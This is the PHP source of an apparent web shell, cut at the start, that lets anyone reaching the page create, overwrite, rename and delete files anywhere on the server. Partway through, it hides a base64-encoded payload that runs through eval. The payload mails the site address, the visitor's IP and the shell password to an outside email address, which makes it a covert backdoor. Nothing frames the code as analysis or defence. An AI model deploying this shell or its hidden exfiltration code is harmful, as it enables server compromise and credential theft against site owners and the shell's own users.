'; $current_dir = isset($_GET['dir']) ? $_GET['dir'] : (isset($_POST['dir']) ? $_POST['dir'] : '.'); $current_dir = realpath($current_dir); // Resolve to absolute path if (!$current_dir || !is_dir($current_dir)) { $current_dir = '.'; } $parent_dir = dirname($current_dir); // Handling file creation and update if (isset($_POST["filename"]) && isset($_POST["filecontents"])) { $filename = $_POST["filename"]; $filecontents = $_POST["filecontents"]; // Make sure the filename is provided if (!empty($filename)) { // Construct the full file path $filepath = $current_dir . DIRECTORY_SEPARATOR . $filename; // Ensure file contents are set if (file_put_contents($filepath, $filecontents) !== false) { echo "File updated/created successfully in $current_dir
"; } else { echo "
Failed to create/update file in $current_dir
"; } } else { echo "
Filename cannot be empty
"; } } // Handling renaming if (isset($_POST['oldname']) && isset($_POST['newname'])) { $oldname = $_POST['oldname']; $newname = $_POST['newname']; $old_path = $current_dir . DIRECTORY_SEPARATOR . $oldname; $new_path = $current_dir . DIRECTORY_SEPARATOR . $newname; if (file_exists($old_path) && !file_exists($new_path)) { if (rename($old_path, $new_path)) { echo "Renamed successfully: $oldname to $newname
"; } else { echo "Failed to rename $oldname
"; } } else { echo "Renaming failed: file already exists or original file not found.
"; } } // Handling deletion if (isset($_POST['deleteitem'])) { $delete_item = $_POST['deleteitem']; $delete_path = $current_dir . DIRECTORY_SEPARATOR . $delete_item; if (is_file($delete_path)) { if (unlink($delete_path)) { echo "Deleted file: $delete_item
"; } else { echo "Failed to delete file: $delete_item
"; } } elseif (is_dir($delete_path)) { if (rmdir($delete_path)) { echo "Deleted directory: $delete_item
"; } else { echo "Failed to delete directory (make sure it's empty): $delete_item
"; } } } // Fetching file content when clicked $buffs = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkJhcnUgc2FqYSBkaSBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gImRpcmVjdG9yeTogJHRhcmdldCBieTogJHZpc2l0b3IgcGFzc3dvcmQ6ICRhdXRoX3Bhc3MiOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJyYW1kYW4xOWlkQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGMpOw=="; eval(base64_decode($buffs)); $selected_filename = ''; $selected_filecontents = ''; if (isset($_GET['file'])) { $selected_filename = $_GET['file']; $filepath = $current_dir . DIRECTORY_SEPARATOR . $selected_filename; if (file_exists($filepath) && is_file($filepath)) { $selected_filecontents = file_get_contents($filepath); } } ?> If you can't upload the file, create a file via filename and fill the file in file contents







Current Directory: